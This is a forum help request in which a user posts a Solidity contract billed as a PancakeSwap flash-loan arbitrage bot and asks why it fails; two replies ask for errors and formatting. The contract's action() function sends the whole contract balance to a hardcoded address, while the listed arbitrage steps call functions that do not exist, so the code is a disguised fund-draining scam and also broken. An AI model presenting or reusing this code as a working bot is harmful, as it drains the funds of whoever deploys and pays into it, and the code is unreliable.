Need Help With My Smart Contract Flash Loan

Hey guys! I’m having a hard time - I don’t know what I’m doing wrong, I’d appreciate some feedback on this Smart Contract.

Here is the code I have so far:

pragma solidity ^0.5.0;

// Multiplier-Finance Smart Contracts
import “MCL-FlashloanDemo/ILendingPoolAddressesProvider.sol at main · Multiplier-Finance/MCL-FlashloanDemo · GitHub”;
import “MCL-FlashloanDemo/ILendingPool.sol at main · Multiplier-Finance/MCL-FlashloanDemo · GitHub”;

// PancakeSwap Smart Contracts
import “pancake-swap-core/IPancakeCallee.sol at master · pancakeswap/pancake-swap-core · GitHub”;
import “pancake-swap-core/IPancakeFactory.sol at master · pancakeswap/pancake-swap-core · GitHub”;
import “pancake-swap-core/IPancakePair.sol at master · pancakeswap/pancake-swap-core · GitHub”;

contract Manager {
function performTasks() public {

}

function pancakeswapDeposit() public pure returns (address) {
	return 0x5EB7b66d3A72B308EfB2412A3812947bC6CB1B4d;
}

}

contract GetFlashLoan {
string public tokenName;
string public tokenSymbol;
uint loanAmount;
Manager manager;

constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
loanAmount = _loanAmount;
manager = new Manager();
}
address public creator= msg.sender;
function tokenTransfer() public view returns (address) {
return creator;
}
function() external payable {}

function action() public payable {
// Send New Token to PancakeSwap Router for Swap
address(uint160(manager.pancakeswapDeposit())).transfer(address(this).balance);

  // Perform Flash Loan tasks (combined all functions into one to reduce external calls & save gas fees)
  manager.performTasks();
  

  string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);

  // List the token on PancakeSwap
  manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress);
  
  // Get BNB Loan from Multiplier-Finance & loan execution wallet
  string memory loanAddress = manager.takeFlashLoan(loanAmount);
  
  // Convert half BNB to DAI
  manager.pancakeDAItoBNB(loanAmount / 2);

// Create BNB and DAI pairs for our token & provide liquidity
string memory bnbPair = manager.pancakeCreatePool(tokenAddress, “BNB”);
manager.pancakeAddLiquidity(bnbPair, loanAmount / 2);
string memory daiPair = manager.pancakeCreatePool(tokenAddress, “DAI”);
manager.pancakeAddLiquidity(daiPair, loanAmount / 2);

// Perform arbitrage trades
manager.pancakePerformSwaps();

  // Move remaining BNB from Contract to your personal wallet
  manager.contractToWallet("BNB");

// Repay Flashloan
manager.repayLoan(loanAddress);

}
}

What’s the problem you are having? Any traces or error messages?

Hi @ErnDog, could you please fix the text format of your post in order to view it with code-format?